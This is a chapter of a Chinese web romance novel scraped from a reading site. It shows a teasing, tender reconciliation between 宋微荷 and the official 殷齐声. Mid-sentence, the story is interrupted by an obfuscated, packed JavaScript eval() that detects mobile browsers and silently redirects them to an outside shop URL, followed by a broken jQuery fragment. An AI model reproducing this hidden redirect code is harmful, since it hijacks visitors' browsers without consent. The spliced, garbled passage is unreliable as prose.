文趣网 > 其他小说 > 一指春 > 9. 不公平
    殷齐声几乎是怔愣住了,直到她的温度隔着衣料传过来,暖洋洋的。

    宋微荷嘀嘀咕咕:“殷齐声你干嘛吓唬我?”

    写那么多字,满篇的“小姐”,看得她眼花缭乱,问那么多问题,她都不知道该回答哪一个了。

    她倒是觉得,殷齐声比之前看的话本子里面的鬼还要鬼,乍一看还挺吓人的,不过仔细一想来,还真是他平时的风格。

    “你想知道什么?我告诉你呀。”宋微荷蹭了两下然后抬起脸,眼睛亮晶晶的,弯出一个好看的弧度:“我都说给你听。”

    她吐出的话也是绵柔的,尾音也曳了几分,勾起一个欢快的小调。

    殷齐声哑了声,此时此刻是再也什么都问不出来了,只能出声叫了她的名字:“宋微荷。”

    他觉得心口有一颗酸梅炸开,酸涩得紧,只好低头对上她的眼睛,掌心拢住了她的下颌。

    “我想听……”他目光紧盯着宋微荷,降缓了声调:“你喜欢我,喜欢殷齐声。”

    “我喜欢殷齐声。”

    宋微荷想也没想。

    殷齐声在心里默念,最喜欢殷齐声,只喜欢殷齐声。

    下一秒她接上:“最喜欢殷齐声,只喜欢殷齐声。”

    “我要黏着你,我要亲近你,我要当你的小尾巴,你去哪我去哪,你在哪我在哪。”

    “殷齐声,你最好,旁人不会比得过你。”

    宋微荷说他最好,最喜欢他。

    殷齐声心里软,就只好俯身搂她,还问她:“那你怎的不关心本督?为何那日表现得丝毫不在乎?”

    宋微荷疑惑:“哪日?”

    “你吓哭那日。”

    “……”

    “端茶研磨,你怎么不表示一下呢,夫人。”

    小胡子给往他身边送人,她为什么不表示一下,看起来那么平淡,甚至还被自己的脑补吓哭了,有时间去想那些有的没的,为什么不愿意把心思花在他身上?

    宋微荷此时已经想不起来自己当时的心态了,后面都被吓哭了,哪里管那些事,叫她表示一下,那不是无理取闹么。

    “我有啊,我吃味了。”

    “我心里不高兴,哄了自己好一阵,才把自己哄好,那我现在就要问了。”

    “你为何不立马就拒绝?为何让别人生出那样的心思,是不是根本就不拿我放在心上,你要是认真的,你要是努力了,他怎么可能会敢这样,肯定是你也有问题,你没让别人觉得你非我不可吗?说这是不是你的过?”

    这种情况下,只要比他更无理取闹就好了。

    殷齐声:“……”

    他气笑了。

    她恃宠而骄,蹬鼻子上脸都快骑到他头上来了。

    宋微荷扬眉:“是不是?”

    “是。”

    殷齐声干脆认了,见吓唬人不成,反倒被她质问了回来,他挨着宋微荷坐下,她就挪了挪位置,没骨头一样往他肩膀处靠。

    “我阿娘说了,真心换真心,你再这样吓我,我以后可真就不理你了,你听到我的真心了吗?”

    “我说我最喜欢你,那你也只能最喜欢我,那才叫公平。”

    宋微荷拍拍胸/脯。

    “不知道,我听听。”

    殷齐声果真侧耳靠近了她,埋在她肩膀处,这回换宋微荷按着他的脑袋顺毛了,她学着殷齐声平时对待她的样子,掌心轻抚了几下。

    怪不得他老是用猫儿来叫她,原来人相互依偎的时候,也像是只小动物。

    宋微荷觉得新奇,殷齐声这样算是对她示弱了吗?

    “听到了。”

    殷齐声贴着几秒后偏唇擦过了她的身体,吻落在了宋微荷的下巴上:“你的真心震得本督心尖发麻。”

    他声音带笑:“宋微荷,你怎么就……”

    “这么招人稀罕。”

    恨不得骨血相融,黏糊到分不清楚你我。

    “真的吗真的吗?”

    宋微荷收起盘坐着的腿,跪坐起来,膝盖向前挪,手不安分地在他身上摸,确定什么一样:“你说你稀罕我?”

    “嗯。”

    殷齐声应。

    “叫几声好听的给我听听。”

    宋微荷得寸进尺,攀在他肩膀处,收到他睨过来有些不善的眼神后缩了缩脖子,没过一会又贴上去:“督主督主……殷齐声,你理理我。”

    他脸皮薄,那自己就脸皮厚一点贴上去。

    宋微荷如此说服自己,倒地还是没有骗过自己。

    “怎么你可以欺负我,我不可以讨你句中听的话?”

    宋微荷有些恼怒,干脆收了手将自己盘成一圈,还十分爱惜自己,小心翼翼,没动到那只伤了的腿。

    她就别正眼看他:

    “我还没有和你计较吓唬我的事情呢,你敢说新婚夜那晚你不知道我害怕?不知道我被你唬哭了?”

    “知道。”

    殷齐声知道,他根本就没有走远,哪怕是现在,他也还能想起来她眼挂泪珠缩成一团的模样。

    但是他不后悔。

    他渴望宋微荷又推据宋微荷,前后矛盾,相互拉扯,忍不住靠近,忍不住试探,忍不住毁灭。

    然后他准备迎接一把刀子,让它刺进他心里,以此来验证——他是天煞孤星。

    你看吧,我就知道。

    他享受细密的痛,乐此不疲。

    不过,宋微荷是个包子,被吓唬到躲起来偷偷哭的包子,像一坨棉花一样,欺负她,她就吱一声蹭人,说些暖人心窝子的话,妄图用自己绵柔软化他的铁石心肠,实在是气不过就呲牙咬人。

    宋微荷:“……”

    她就知道。

    这人有病。

    但是她到底还是软了下来,殷齐声这人就这样,越是不安就越推据,可能是生活环境太不好,所以心理有点变态了。

    宋微荷大度得很,自己的眼泪也不是什么金贵东西,哭过就忘了,反正背地里也没少骂他。

    但是不能就这样算了,于是她偏头不看殷齐声以表示自己不高兴了,待了半天看他没有反应才睨过去一小道视线,用肩膀撞了撞他。

    殷齐声也不知道接收到了没有,只淡淡瞟了她一眼。

    宋微荷:“哄我。”

    殷齐声:“别生气。”

    “……”

    她眯起了眼睛。

    “你这是打算用眼神把本督打成糊糊?”

    殷齐声抬手摁在了她脑袋上,不轻不重地压了压:“和本督讨不到好听的就开始想打人了?夫人好没道理。”

    “我左右不过是唬过你,旁的委屈你从来没有受过,你倒好,这又是咬又是瞪的,就是欺负我这个老实人。”

    “好没道理,好不公平。”

    他没脸没皮,还好意思说自己是老实人。

    脸上分明写的是轻慢和调侃。

    宋微荷瞧着他得瑟的样子就来气,气不过,登时就扑生气按着他

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17779067|210061||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,将人推倒了。

    这人平时看起来威风凛凛,眼下就羽毛一样,一推就倒,还挑了挑眉,像在看她要玩出什么花样。

    “这般急色?”

    “天还未黑就惦记上本督……也罢,本就是你的,你何时想要就何时要。”

    殷齐声歪曲事实。

    “你闭嘴。”

    宋微荷往下压,咬在了他唇上,劲没刻意收着,堪堪维持着不让他破皮的程度。

    殷齐声没说了,在她准备退开时扣住了她的后脑,按进了自己的胸膛,下巴蹭了蹭她的头发,闷笑起来。

    “夫人好牙口。”

    他如此夸赞。

    宋微荷:“……”

    怎么就没咬死他?

    殷齐声见她不吱声,手顺势就滑到了她的后背,轻轻拍了拍:“哄,当然哄。”

    “只是我这人嘴笨不讨喜,说不出像夫人那般甜的话,就任你咬,若是气消了就吱个声,别不理人。”

    “就当我犯了疯病,夫人也要同我计较吗?”

    宋微荷:“……哦。”

    也算吱了一声。

    这不挺会说的嘛,她听着挺高兴。

    他们这样靠近,殷齐声身上的味道就在她的鼻腔里面横冲直撞,闻得人头脑发昏,她还记得密密麻麻的文字里面殷齐声坦露出自己的不堪,把痛苦刨开给她看,问她脏不脏,令不令人作呕。

    其实没有,宋微荷觉得他很干净。

    他已经把自己腌入味了,还随身带着手帕净手,哪里都是干净的。

    是殷齐声打心底里就觉得自己脏。

    宋微荷撑着胳膊起来,抬手就解开了他的衣襟,她念念有词:“忘了说了,我才不觉得脏呢,我现在就要同你亲近。”

    这有什么好羞人的,又不是一次两次,她上手探进了殷齐声结实的胸膛,她费劲扒拉着。

    殷齐声没有阻止她,只仰躺着,好整以暇的看着她,然后用胳膊挡住了眼睛,抿出一个笑,撤开手时眼睛里是化不开的笑意。

    甚至还配合地抬了抬胳膊。

    宋微荷头一次这么主动,

    她低头贴上了殷齐声胸膛上的伤疤,唇软软的蹭过,不带欲色,竟多了一丝浅浅的暖意,纠缠着升腾出酸人的怜惜。

    她想起来自己被抽手心时的感受,又麻又疼,能肿起来老高,那还没有破皮,就已经叫她疼的想落泪,如今他身上这样触目惊心的伤疤,每看一次,就可以窥见他暗无天日的过往。

    寒冬腊月天,可曾有人问过他疼不疼,冷不冷……

    能否喝到一碗热粥?

    即使她之前过得再不好,也有阿娘在身边,枊氏护犊子,平日里是有些尖酸刻薄样,没让她受欺负,嘘寒问暖和热粥她都是有的,将她教的软了些。

    不管是入宋府之前还是入宋府之后。

    之前宋微荷只惧他畏他,从未细想过这些,交心之后,细细思索,往日还真是如刀如钝摧残得他苦不堪言。

    那些细细密密的发问,哪一句不是他心里的沉疴?

    这样一来,宋微荷酸了鼻头,贴着他的动作轻了几分。

    殷齐声察觉到了,放缓了呼吸,手蹭上了她的眼尾:“包子。”

    宋微荷嘴硬:“是鼻涕。”

    “嗯。”

    成百上千个日夜,终于有人知他不可言说的疼。

    他心里涩得厉害。

    这般模样,殷齐声更加不会放手了,永远不会。